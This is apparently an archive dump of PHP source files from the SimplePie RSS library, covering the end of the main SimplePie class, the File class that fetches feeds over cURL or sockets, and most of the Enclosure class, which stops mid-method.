            if (!isset($this->data['ordered_items'])) {
                $this->data['ordered_items'] = $this->data['items'];
                usort($this->data['ordered_items'], [get_class($this), 'sort_items']);
            }
            $items = $this->data['ordered_items'];
        } else {
            $items = $this->data['items'];
        }
        // Slice the data as desired
        if ($end === 0) {
            return array_slice($items, $start);
        }

        return array_slice($items, $start, $end);
    }

    /**
     * Set the favicon handler
     *
     * @deprecated Use your own favicon handling instead
     * @param string|false $page
     * @return bool
     */
    public function set_favicon_handler($page = false, string $qs = 'i')
    {
        trigger_error('Favicon handling has been removed since SimplePie 1.3, please use your own handling', \E_USER_DEPRECATED);
        return false;
    }

    /**
     * Get the favicon for the current feed
     *
     * @deprecated Use your own favicon handling instead
     * @return string|bool
     */
    public function get_favicon()
    {
        trigger_error('Favicon handling has been removed since SimplePie 1.3, please use your own handling', \E_USER_DEPRECATED);

        if (($url = $this->get_link()) !== null) {
            return 'https://www.google.com/s2/favicons?domain=' . urlencode($url);
        }

        return false;
    }

    /**
     * Magic method handler
     *
     * @param string $method Method name
     * @param array<mixed> $args Arguments to the method
     * @return mixed
     */
    public function __call(string $method, array $args)
    {
        if (strpos($method, 'subscribe_') === 0) {
            trigger_error('subscribe_*() has been deprecated since SimplePie 1.3, implement the callback yourself', \E_USER_DEPRECATED);
            return '';
        }
        if ($method === 'enable_xml_dump') {
            trigger_error('enable_xml_dump() has been deprecated since SimplePie 1.3, use get_raw_data() instead', \E_USER_DEPRECATED);
            return false;
        }

        $class = get_class($this);
        $trace = debug_backtrace(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
        $file = $trace[0]['file'] ?? '';
        $line = $trace[0]['line'] ?? '';
        throw new SimplePieException("Call to undefined method $class::$method() in $file on line $line");
    }

    /**
     * Item factory
     *
     * @param array<string, mixed> $data
     */
    private function make_item(array $data): Item
    {
        $item = $this->registry->create(Item::class, [$this, $data]);
        $item->set_sanitize($this->sanitize);

        return $item;
    }

    /**
     * Sorting callback for items
     *
     * @access private
     * @param Item $a
     * @param Item $b
     * @return -1|0|1
     */
    public static function sort_items(Item $a, Item $b)
    {
        $a_date = $a->get_date('U');
        $b_date = $b->get_date('U');
        if ($a_date && $b_date) {
            return $a_date > $b_date ? -1 : 1;
        }
        // Sort items without dates to the top.
        if ($a_date) {
            return 1;
        }
        if ($b_date) {
            return -1;
        }
        return 0;
    }

    /**
     * Merge items from several feeds into one
     *
     * If you're merging multiple feeds together, they need to all have dates
     * for the items or else SimplePie will refuse to sort them.
     *
     * @link http://simplepie.org/wiki/tutorial/sort_multiple_feeds_by_time_and_date#if_feeds_require_separate_per-feed_settings
     * @param array<SimplePie> $urls List of SimplePie feed objects to merge
     * @param int $start Starting item
     * @param int $end Number of items to return
     * @param int $limit Maximum number of items per feed
     * @return array<Item>
     */
    public static function merge_items(array $urls, int $start = 0, int $end = 0, int $limit = 0)
    {
        if (count($urls) > 0) {
            $items = [];
            foreach ($urls as $arg) {
                if ($arg instanceof SimplePie) {
                    $items = array_merge($items, $arg->get_items(0, $limit));

                    // @phpstan-ignore-next-line Enforce PHPDoc type.
                } else {
                    trigger_error('Arguments must be SimplePie objects', E_USER_WARNING);
                }
            }

            usort($items, [get_class($urls[0]), 'sort_items']);

            if ($end === 0) {
                return array_slice($items, $start);
            }

            return array_slice($items, $start, $end);
        }

        trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING);
        return [];
    }

    /**
     * Store PubSubHubbub links as headers
     *
     * There is no way to find PuSH links in the body of a microformats feed,
     * so they are added to the headers when found, to be used later by get_links.
     */
    private function store_links(Response $file, ?string $hub, ?string $self): Response
    {
        $linkHeaderLine = $file->get_header_line('link');
        $linkHeader = $file->get_header('link');

        if ($hub && !preg_match('/rel=hub/', $linkHeaderLine)) {
            $linkHeader[] = '<'.$hub.'>; rel=hub';
        }

        if ($self && !preg_match('/rel=self/', $linkHeaderLine)) {
            $linkHeader[] = '<'.$self.'>; rel=self';
        }

        if (count($linkHeader) > 0) {
            $file = $file->with_header('link', $linkHeader);
        }

        return $file;
    }

    /**
     * Get a DataCache
     *
     * @param string $feed_url Only needed for BC, can be removed in SimplePie 2.0.0
     *
     * @return DataCache
     */
    private function get_cache(string $feed_url = ''): DataCache
    {
        if ($this->cache === null) {
            // @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED);
            $cache = $this->registry->call(Cache::class, 'get_handler', [
                $this->cache_location,
                $this->get_cache_filename($feed_url),
                Base::TYPE_FEED
            ]);

            return new BaseDataCache($cache);
        }

        return $this->cache;
    }

    /**
     * Get a HTTP client
     */
    private function get_http_client(): Client
    {
        if ($this->http_client === null) {
            $this->http_client = new FileClient(
                $this->get_registry(),
                [
                    'timeout' => $this->timeout,
                    'redirects' => 5,
                    'useragent' => $this->useragent,
                    'force_fsockopen' => $this->force_fsockopen,
                    'curl_options' => $this->curl_options,
                ]
            );
            $this->http_client_injected = true;
        }

        return $this->http_client;
    }
}

class_alias('SimplePie\SimplePie', 'SimplePie');
File.php000064400000045702152222652070006147 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use SimplePie\HTTP\Response;

/**
 * Used for fetching remote files and reading local files
 *
 * Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_file_class()}
 *
 * @todo Move to properly supporting RFC2616 (HTTP/1.1)
 */
class File implements Response
{
    /**
     * @var string The final URL after following all redirects
     * @deprecated Use `get_final_requested_uri()` method.
     */
    public $url;

    /**
     * @var ?string User agent to use in requests
     * @deprecated Set the user agent in constructor.
     */
    public $useragent;

    /** @var bool */
    public $success = true;

    /** @var array<string, non-empty-array<string>> Canonical representation of headers */
    private $parsed_headers = [];
    /** @var array<string, string> Last known value of $headers property (used to detect external modification) */
    private $last_headers = [];
    /**
     * @var array<string, string> Headers as string for BC
     * @deprecated Use `get_headers()` method.
     */
    public $headers = [];

    /**
     * @var ?string Body of the HTTP response
     * @deprecated Use `get_body_content()` method.
     */
    public $body;

    /**
     * @var int Status code of the HTTP response
     * @deprecated Use `get_status_code()` method.
     */
    public $status_code = 0;

    /** @var non-negative-int Number of redirect that were already performed during this request sequence. */
    public $redirects = 0;

    /** @var ?string */
    public $error;

    /**
     * @var int-mask-of<SimplePie::FILE_SOURCE_*> Bit mask representing the method used to fetch the file and whether it is a local file or remote file obtained over HTTP.
     * @deprecated Backend is implementation detail which you should not care about; to see if the file was retrieved over HTTP, check if `get_final_requested_uri()` with `Misc::is_remote_uri()`.
     */
    public $method = \SimplePie\SimplePie::FILE_SOURCE_NONE;

    /**
     * @var string The permanent URL or the resource (first URL after the prefix of (only) permanent redirects)
     * @deprecated Use `get_permanent_uri()` method.
     */
    public $permanent_url;
    /** @var bool Whether the permanent URL is still writeable (prefix of permanent redirects has not ended) */
    private $permanentUrlMutable = true;

    /**
     * @param string $url
     * @param int $timeout
     * @param int $redirects
     * @param ?array<string, string> $headers
     * @param ?string $useragent
     * @param bool $force_fsockopen
     * @param array<int, mixed> $curl_options
     */
    public function __construct(string $url, int $timeout = 10, int $redirects = 5, ?array $headers = null, ?string $useragent = null, bool $force_fsockopen = false, array $curl_options = [])
    {
        if (function_exists('idn_to_ascii')) {
            $parsed = \SimplePie\Misc::parse_url($url);
            if ($parsed['authority'] !== '' && !ctype_print($parsed['authority'])) {
                $authority = (string) \idn_to_ascii($parsed['authority'], \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46);
                $url = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $authority, $parsed['path'], $parsed['query'], null);
            }
        }
        $this->url = $url;
        if ($this->permanentUrlMutable) {
            $this->permanent_url = $url;
        }
        $this->useragent = $useragent;
        if (preg_match('/^http(s)?:\/\//i', $url)) {
            if ($useragent === null) {
                $useragent = (string) ini_get('user_agent');
                $this->useragent = $useragent;
            }
            if (!is_array($headers)) {
                $headers = [];
            }
            if (!$force_fsockopen && function_exists('curl_exec')) {
                $this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_CURL;
                $fp = curl_init();
                $headers2 = [];
                foreach ($headers as $key => $value) {
                    $headers2[] = "$key: $value";
                }
                if (isset($curl_options[CURLOPT_HTTPHEADER])) {
                    if (is_array($curl_options[CURLOPT_HTTPHEADER])) {
                        $headers2 = array_merge($headers2, $curl_options[CURLOPT_HTTPHEADER]);
                    }
                    unset($curl_options[CURLOPT_HTTPHEADER]);
                }
                if (version_compare(\SimplePie\Misc::get_curl_version(), '7.10.5', '>=')) {
                    curl_setopt($fp, CURLOPT_ENCODING, '');
                }
                curl_setopt($fp, CURLOPT_URL, $url);
                curl_setopt($fp, CURLOPT_HEADER, 1);
                curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($fp, CURLOPT_FAILONERROR, 1);
                curl_setopt($fp, CURLOPT_TIMEOUT, $timeout);
                curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout);
                curl_setopt($fp, CURLOPT_REFERER, \SimplePie\Misc::url_remove_credentials($url));
                curl_setopt($fp, CURLOPT_USERAGENT, $useragent);
                curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2);
                foreach ($curl_options as $curl_param => $curl_value) {
                    curl_setopt($fp, $curl_param, $curl_value);
                }

                $responseHeaders = curl_exec($fp);
                if (curl_errno($fp) === CURLE_WRITE_ERROR || curl_errno($fp) === CURLE_BAD_CONTENT_ENCODING) {
                    curl_setopt($fp, CURLOPT_ENCODING, 'none');
                    $responseHeaders = curl_exec($fp);
                }
                $this->status_code = curl_getinfo($fp, CURLINFO_HTTP_CODE);
                if (curl_errno($fp)) {
                    $this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp);
                    $this->success = false;
                } else {
                    // Use the updated url provided by curl_getinfo after any redirects.
                    if ($info = curl_getinfo($fp)) {
                        $this->url = $info['url'];
                    }
                    // For PHPStan: We already checked that error did not occur.
                    assert(is_array($info) && $info['redirect_count'] >= 0);
                    if (\PHP_VERSION_ID < 80000) {
                        curl_close($fp);
                    }
                    $responseHeaders = \SimplePie\HTTP\Parser::prepareHeaders((string) $responseHeaders, $info['redirect_count'] + 1);
                    $parser = new \SimplePie\HTTP\Parser($responseHeaders, true);
                    if ($parser->parse()) {
                        $this->set_headers($parser->headers);
                        $this->body = $parser->body;
                        $this->status_code = $parser->status_code;
                        if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && ($locationHeader = $this->get_header_line('location')) !== '' && $this->redirects < $redirects) {
                            $this->redirects++;
                            $location = \SimplePie\Misc::absolutize_url($locationHeader, $url);
                            if ($location === false) {
                                $this->error = "Invalid redirect location, trying to base “{$locationHeader}” onto “{$url}”";
                                $this->success = false;
                                return;
                            }
                            $this->permanentUrlMutable = $this->permanentUrlMutable && ($this->status_code == 301 || $this->status_code == 308);
                            $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
                            return;
                        }
                    }
                }
            } else {
                $this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_FSOCKOPEN;
                if (($url_parts = parse_url($url)) === false) {
                    throw new \InvalidArgumentException('Malformed URL: ' . $url);
                }
                if (!isset($url_parts['host'])) {
                    throw new \InvalidArgumentException('Missing hostname: ' . $url);
                }
                $socket_host = $url_parts['host'];
                if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
                    $socket_host = 'ssl://' . $socket_host;
                    $url_parts['port'] = 443;
                }
                if (!isset($url_parts['port'])) {
                    $url_parts['port'] = 80;
                }
                $fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout);
                if (!$fp) {
                    $this->error = 'fsockopen error: ' . $errstr;
                    $this->success = false;
                } else {
                    stream_set_timeout($fp, $timeout);
                    if (isset($url_parts['path'])) {
                        if (isset($url_parts['query'])) {
                            $get = "$url_parts[path]?$url_parts[query]";
                        } else {
                            $get = $url_parts['path'];
                        }
                    } else {
                        $get = '/';
                    }
                    $out = "GET $get HTTP/1.1\r\n";
                    $out .= "Host: $url_parts[host]\r\n";
                    $out .= "User-Agent: $useragent\r\n";
                    if (extension_loaded('zlib')) {
                        $out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n";
                    }

                    if (isset($url_parts['user']) && isset($url_parts['pass'])) {
                        $out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n";
                    }
                    foreach ($headers as $key => $value) {
                        $out .= "$key: $value\r\n";
                    }
                    $out .= "Connection: Close\r\n\r\n";
                    fwrite($fp, $out);

                    $info = stream_get_meta_data($fp);

                    $responseHeaders = '';
                    while (!$info['eof'] && !$info['timed_out']) {
                        $responseHeaders .= fread($fp, 1160);
                        $info = stream_get_meta_data($fp);
                    }
                    if (!$info['timed_out']) {
                        $parser = new \SimplePie\HTTP\Parser($responseHeaders, true);
                        if ($parser->parse()) {
                            $this->set_headers($parser->headers);
                            $this->body = $parser->body;
                            $this->status_code = $parser->status_code;
                            if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && ($locationHeader = $this->get_header_line('location')) !== '' && $this->redirects < $redirects) {
                                $this->redirects++;
                                $location = \SimplePie\Misc::absolutize_url($locationHeader, $url);
                                $this->permanentUrlMutable = $this->permanentUrlMutable && ($this->status_code == 301 || $this->status_code == 308);
                                if ($location === false) {
                                    $this->error = "Invalid redirect location, trying to base “{$locationHeader}” onto “{$url}”";
                                    $this->success = false;
                                    return;
                                }
                                $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
                                return;
                            }
                            if (($contentEncodingHeader = $this->get_header_line('content-encoding')) !== '') {
                                // Hey, we act dumb elsewhere, so let's do that here too
                                switch (strtolower(trim($contentEncodingHeader, "\x09\x0A\x0D\x20"))) {
                                    case 'gzip':
                                    case 'x-gzip':
                                        if (($decompressed = gzdecode($this->body)) === false) {
                                            $this->error = 'Unable to decode HTTP "gzip" stream';
                                            $this->success = false;
                                        } else {
                                            $this->body = $decompressed;
                                        }
                                        break;

                                    case 'deflate':
                                        if (($decompressed = gzinflate($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } elseif (($decompressed = gzuncompress($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } elseif (($decompressed = gzdecode($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } else {
                                            $this->error = 'Unable to decode HTTP "deflate" stream';
                                            $this->success = false;
                                        }
                                        break;

                                    default:
                                        $this->error = 'Unknown content coding';
                                        $this->success = false;
                                }
                            }
                        }
                    } else {
                        $this->error = 'fsocket timed out';
                        $this->success = false;
                    }
                    fclose($fp);
                }
            }
        } else {
            $this->method = \SimplePie\SimplePie::FILE_SOURCE_LOCAL | \SimplePie\SimplePie::FILE_SOURCE_FILE_GET_CONTENTS;
            if (empty($url) || !is_readable($url) ||  false === $filebody = file_get_contents($url)) {
                $this->body = '';
                $this->error = sprintf('file "%s" is not readable', $url);
                $this->success = false;
            } else {
                $this->body = $filebody;
                $this->status_code = 200;
            }
        }
        if ($this->success) {
            assert($this->body !== null); // For PHPStan
            // Leading whitespace may cause XML parsing errors (XML declaration cannot be preceded by anything other than BOM) so we trim it.
            // Note that unlike built-in `trim` function’s default settings, we do not trim `\x00` to avoid breaking characters in UTF-16 or UTF-32 encoded strings.
            // We also only do that when the whitespace is followed by `<`, so that we do not break e.g. UTF-16LE encoded whitespace like `\n\x00` in half.
            $this->body = preg_replace('/^[ \n\r\t\v]+</', '<', $this->body);
        }
    }

    public function get_permanent_uri(): string
    {
        return (string) $this->permanent_url;
    }

    public function get_final_requested_uri(): string
    {
        return (string) $this->url;
    }

    public function get_status_code(): int
    {
        return (int) $this->status_code;
    }

    public function get_headers(): array
    {
        $this->maybe_update_headers();
        return $this->parsed_headers;
    }

    public function has_header(string $name): bool
    {
        $this->maybe_update_headers();
        return $this->get_header($name) !== [];
    }

    public function get_header(string $name): array
    {
        $this->maybe_update_headers();
        return $this->parsed_headers[strtolower($name)] ?? [];
    }

    public function with_header(string $name, $value)
    {
        $this->maybe_update_headers();
        $new = clone $this;

        $newHeader = [
            strtolower($name) => (array) $value,
        ];
        $new->set_headers($newHeader + $this->get_headers());

        return $new;
    }

    public function get_header_line(string $name): string
    {
        $this->maybe_update_headers();
        return implode(', ', $this->get_header($name));
    }

    public function get_body_content(): string
    {
        return (string) $this->body;
    }

    /**
     * Check if the $headers property was changed and update the internal state accordingly.
     */
    private function maybe_update_headers(): void
    {
        if ($this->headers !== $this->last_headers) {
            $this->parsed_headers = array_map(
                function (string $header_line): array {
                    if (strpos($header_line, ',') === false) {
                        return [$header_line];
                    } else {
                        return array_map('trim', explode(',', $header_line));
                    }
                },
                $this->headers
            );
        }
        $this->last_headers = $this->headers;
    }

    /**
     * Sets headers internally.
     *
     * @param array<string, non-empty-array<string>> $headers
     */
    private function set_headers(array $headers): void
    {
        $this->parsed_headers = $headers;
        $this->headers = self::flatten_headers($headers);
        $this->last_headers = $this->headers;
    }

    /**
     * Converts PSR-7 compatible headers into a legacy format.
     *
     * @param array<string, non-empty-array<string>> $headers
     *
     * @return array<string, string>
     */
    private function flatten_headers(array $headers): array
    {
        return array_map(function (array $values): string {
            return implode(',', $values);
        }, $headers);
    }

    /**
     * Create a File instance from another Response
     *
     * For BC reasons in some places there MUST be a `File` instance
     * instead of a `Response` implementation
     *
     * @see Locator::__construct()
     * @internal
     */
    final public static function fromResponse(Response $response): self
    {
        $headers = [];

        foreach ($response->get_headers() as $name => $header) {
            $headers[$name] = implode(', ', $header);
        }

        /** @var File */
        $file = (new \ReflectionClass(File::class))->newInstanceWithoutConstructor();

        $file->url = $response->get_final_requested_uri();
        $file->useragent = null;
        $file->headers = $headers;
        $file->body = $response->get_body_content();
        $file->status_code = $response->get_status_code();
        $file->permanent_url = $response->get_permanent_uri();

        return $file;
    }
}

class_alias('SimplePie\File', 'SimplePie_File');
Enclosure.php000064400000076616152222652070007237 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles everything related to enclosures (including Media RSS and iTunes RSS)
 *
 * Used by {@see \SimplePie\Item::get_enclosure()} and {@see \SimplePie\Item::get_enclosures()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_enclosure_class()}
 */
class Enclosure
{
    /**
     * @var ?string
     * @see get_bitrate()
     */
    public $bitrate;

    /**
     * @var Caption[]|null
     * @see get_captions()
     */
    public $captions;

    /**
     * @var Category[]|null
     * @see get_categories()
     */
    public $categories;

    /**
     * @var ?int
     * @see get_channels()
     */
    public $channels;

    /**
     * @var ?Copyright
     * @see get_copyright()
     */
    public $copyright;

    /**
     * @var Credit[]|null
     * @see get_credits()
     */
    public $credits;

    /**
     * @var ?string
     * @see get_description()
     */
    public $description;

    /**
     * @var ?int
     * @see get_duration()
     */
    public $duration;

    /**
     * @var ?string
     * @see get_expression()
     */
    public $expression;

    /**
     * @var ?string
     * @see get_framerate()
     */
    public $framerate;

    /**
     * @var ?string
     * @see get_handler()
     */
    public $handler;

    /**
     * @var string[]|null
     * @see get_hashes()
     */
    public $hashes;

    /**
     * @var ?string
     * @see get_height()
     */
    public $height;

    /**
     * @deprecated
     * @var null
     */
    public $javascript;

    /**
     * @var string[]|null
     * @see get_keywords()
     */
    public $keywords;

    /**
     * @var ?string
     * @see get_language()
     */
    public $lang;

    /**
     * @var ?int
     * @see get_length()
     */
    public $length;

    /**
     * @var ?string
     * @see get_link()
     */
    public $link;

    /**
     * @var ?string
     * @see get_medium()
     */
    public $medium;

    /**
     * @var ?string
     * @see get_player()
     */
    public $player;

    /**
     * @var Rating[]|null
     * @see get_ratings()
     */
    public $ratings;

    /**
     * @var ?Restriction[]
     * @see get_restrictions()
     */
    public $restrictions;

    /**
     * @var ?string
     * @see get_sampling_rate()
     */
    public $samplingrate;

    /**
     * @var string[]|null
     * @see get_thumbnails()
     */
    public $thumbnails;

    /**
     * @var ?string
     * @see get_title()
     */
    public $title;

    /**
     * @var ?string
     * @see get_type()
     */
    public $type;

    /**
     * @var ?string
     * @see get_width()
     */
    public $width;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     *
     * @uses idn_to_ascii If available, this will convert an IDN
     *
     * @param null $javascript
     * @param Caption[]|null $captions
     * @param Category[]|null $categories
     * @param Credit[]|null $credits
     * @param string[]|null $hashes
     * @param string[]|null $keywords
     * @param Rating[]|null $ratings
     * @param Restriction[]|null $restrictions
     * @param string[]|null $thumbnails
     */
    public function __construct(
        ?string $link = null,
        ?string $type = null,
        ?int $length = null,
        $javascript = null,
        ?string $bitrate = null,
        ?array $captions = null,
        ?array $categories = null,
        ?int $channels = null,
        ?Copyright $copyright = null,
        ?array $credits = null,
        ?string $description = null,
        ?int $duration = null,
        ?string $expression = null,
        ?string $framerate = null,
        ?array $hashes = null,
        ?string $height = null,
        ?array $keywords = null,
        ?string $lang = null,
        ?string $medium = null,
        ?string $player = null,
        ?array $ratings = null,
        ?array $restrictions = null,
        ?string $samplingrate = null,
        ?array $thumbnails = null,
        ?string $title = null,
        ?string $width = null
    ) {
        $this->bitrate = $bitrate;
        $this->captions = $captions;
        $this->categories = $categories;
        $this->channels = $channels;
        $this->copyright = $copyright;
        $this->credits = $credits;
        $this->description = $description;
        $this->duration = $duration;
        $this->expression = $expression;
        $this->framerate = $framerate;
        $this->hashes = $hashes;
        $this->height = $height;
        $this->keywords = $keywords;
        $this->lang = $lang;
        $this->length = $length;
        $this->link = $link;
        $this->medium = $medium;
        $this->player = $player;
        $this->ratings = $ratings;
        $this->restrictions = $restrictions;
        $this->samplingrate = $samplingrate;
        $this->thumbnails = $thumbnails;
        $this->title = $title;
        $this->type = $type;
        $this->width = $width;

        if (function_exists('idn_to_ascii')) {
            $parsed = \SimplePie\Misc::parse_url($link ?? '');
            if ($parsed['authority'] !== '' && !ctype_print($parsed['authority'])) {
                $authority = (string) \idn_to_ascii($parsed['authority'], \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46);
                $this->link = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $authority, $parsed['path'], $parsed['query'], $parsed['fragment']);
            }
        }
        $this->handler = $this->get_handler(); // Needs to load last
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the bitrate
     *
     * @return string|null
     */
    public function get_bitrate()
    {
        if ($this->bitrate !== null) {
            return $this->bitrate;
        }

        return null;
    }

    /**
     * Get a single caption
     *
     * @param int $key
     * @return \SimplePie\Caption|null
     */
    public function get_caption(int $key = 0)
    {
        $captions = $this->get_captions();
        if (isset($captions[$key])) {
            return $captions[$key];
        }

        return null;
    }

    /**
     * Get all captions
     *
     * @return Caption[]|null
     */
    public function get_captions()
    {
        if ($this->captions !== null) {
            return $this->captions;
        }

        return null;
    }

    /**
     * Get a single category
     *
     * @param int $key
     * @return \SimplePie\Category|null
     */
    public function get_category(int $key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories
     *
     * @return \SimplePie\Category[]|null
     */
    public function get_categories()
    {
        if ($this->categories !== null) {
            return $this->categories;
        }

        return null;
    }

    /**
     * Get the number of audio channels
     *
     * @return int|null
     */
    public function get_channels()
    {
        if ($this->channels !== null) {
            return $this->channels;
        }

        return null;
    }

    /**
     * Get the copyright information
     *
     * @return \SimplePie\Copyright|null
     */
    public function get_copyright()
    {
        if ($this->copyright !== null) {
            return $this->copyright;
        }

        return null;
    }

    /**
     * Get a single credit
     *
     * @param int $key
     * @return \SimplePie\Credit|null
     */
    public function get_credit(int $key = 0)
    {
        $credits = $this->get_credits();
        if (isset($credits[$key])) {
            return $credits[$key];
        }

        return null;
    }

    /**
     * Get all credits
     *
     * @return Credit[]|null
     */
    public function get_credits()
    {
        if ($this->credits !== null) {
            return $this->credits;
        }

        return null;
    }

    /**
     * Get the description of the enclosure
     *
     * @return string|null
     */
    public function get_description()
    {
        if ($this->description !== null) {
            return $this->description;
        }

        return null;
    }

    /**
     * Get the duration of the enclosure
     *
     * @param bool $convert Convert seconds into hh:mm:ss
     * @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found)
     */
    public function get_duration(bool $convert = false)
    {
        if ($this->duration !== null) {
            if ($convert) {
                $time = \SimplePie\Misc::time_hms($this->duration);
                return $time;
            }

            return $this->duration;
        }

        return null;
    }

    /**
     * Get the expression
     *
     * @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full'
     */
    public function get_expression()
    {
        if ($this->expression !== null) {
            return $this->expression;
        }

        return 'full';
    }

    /**
     * Get the file extension
     *
     * @return string|null
     */
    public function get_extension()
    {
        if ($this->link !== null) {
            $url = \SimplePie\Misc::parse_url($this->link);
            if ($url['path'] !== '') {
                return pathinfo($url['path'], PATHINFO_EXTENSION);
            }
        }
        return null;
    }

    /**
     * Get the framerate (in frames-per-second)
     *
     * @return string|null
     */
    public function get_framerate()
    {
        if ($this->framerate !== null) {
            return $this->framerate;
        }

        return null;
    }

    /**
     * Get the preferred handler
     *
     * @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3'
     */
    public function get_handler()
    {
        return $this->get_real_type(true);
    }

    /**
     * Get a single hash
     *
     * @link http://www.rssboard.org/media-rss#media-hash
     * @param int $key
     * @return string|null Hash as per `media:hash`, prefixed with "$algo:"
     */
    public function get_hash(int $key = 0)
    {
        $hashes = $this->get_hashes();
        if (isset($hashes[$key])) {
            return $hashes[$key];
        }

        return null;
    }

    /**
     * Get all credits
     *
     * @return string[]|null Array of strings, see {@see get_hash()}
     */
    public function get_hashes()
    {
        if ($this->hashes !== null) {
            return $this->hashes;
        }

        return null;
    }

    /**
     * Get the height
     *
     * @return string|null
     */
    public function get_height()
    {
        if ($this->height !== null) {
            return $this->height;
        }

        return null;
    }

    /**
     * Get the language
     *
     * @link http://tools.ietf.org/html/rfc3066
     * @return string|null Language code as per RFC 3066
     */
    public function get_language()
    {
        if ($this->lang !== null) {
            return $this->lang;
        }

        return null;
    }

    /**
     * Get a single keyword
     *
     * @param int $key
     * @return string|null
     */
    public function get_keyword(int $key = 0)
    {
        $keywords = $this->get_keywords();
        if (isset($keywords[$key])) {
            return $keywords[$key];
        }

        return null;
    }

    /**
     * Get all keywords
     *
     * @return string[]|null
     */
    public function get_keywords()
    {
        if ($this->keywords !== null) {
            return $this->keywords;
        }

        return null;
    }

    /**
     * Get length
     *
     * @return ?int Length in bytes
     */
    public function get_length()
    {
        if ($this->length !== null) {
            return $this->length;
        }

        return null;
    }

    /**
     * Get the URL
     *
     * @return string|null
     */
    public function get_link()
    {
        if ($this->link !== null) {
            return $this->link;
        }

        return null;
    }

    /**
     * Get the medium
     *
     * @link http://www.rssboard.org/media-rss#media-content
     * @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable'
     */
    public function get_medium()
    {
        if ($this->medium !== null) {
            return $this->medium;
        }

        return null;
    }

    /**
     * Get the player URL
     *
     * Typically the same as {@see get_permalink()}
     * @return string|null Player URL
     */
    public function get_player()
    {
        if ($this->player !== null) {
            return $this->player;
        }

        return null;
    }

    /**
     * Get a single rating
     *
     * @param int $key
     * @return \SimplePie\Rating|null
     */
    public function get_rating(int $key = 0)
    {
        $ratings = $this->get_ratings();
        if (isset($ratings[$key])) {
            return $ratings[$key];
        }

        return null;
    }

    /**
     * Get all ratings
     *
     * @return Rating[]|null
     */
    public function get_ratings()
    {
        if ($this->ratings !== null) {
            return $this->ratings;
        }

        return null;
    }

    /**
     * Get a single restriction
     *
     * @param int $key
     * @return \SimplePie\Restriction|null
     */
    public function get_restriction(int $key = 0)
    {
        $restrictions = $this->get_restrictions();
        if (isset($restrictions[$key])) {
            return $restrictions[$key];
        }

        return null;
    }

    /**
     * Get all restrictions
     *
     * @return Restriction[]|null
     */
    public function get_restrictions()
    {
        if ($this->restrictions !== null) {
            return $this->restrictions;
        }

        return null;
    }

    /**
     * Get the sampling rate (in kHz)
     *
     * @return string|null
     */
    public function get_sampling_rate()
    {
        if ($this->samplingrate !== null) {
            return $this->samplingrate;
        }

        return null;
    }

    /**
     * Get the file size (in MiB)
     *
     * @return float|null File size in mebibytes (1048 bytes)
     */
    public function get_size()
    {
        $length = $this->get_length();
        if ($length !== null) {
            return round($length / 1048576, 2);
        }

        return null;
    }

    /**
     * Get a single thumbnail
     *
     * @param int $key
     * @return string|null Thumbnail URL
     */
    public function get_thumbnail(int $key = 0)
    {
        $thumbnails = $this->get_thumbnails();
        if (isset($thumbnails[$key])) {
            return $thumbnails[$key];
        }

        return null;
    }

    /**
     * Get all thumbnails
     *
     * @return string[]|null Array of thumbnail URLs
     */
    public function get_thumbnails()
    {
        if ($this->thumbnails !== null) {
            return $this->thumbnails;
        }

        return null;
    }

    /**
     * Get the title
     *
     * @return string|null
     */
    public function get_title()
    {
        if ($this->title !== null) {
            return $this->title;
        }

        return null;
    }

    /**
     * Get mimetype of the enclosure
     *
     * @see get_real_type()
     * @return string|null MIME type
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
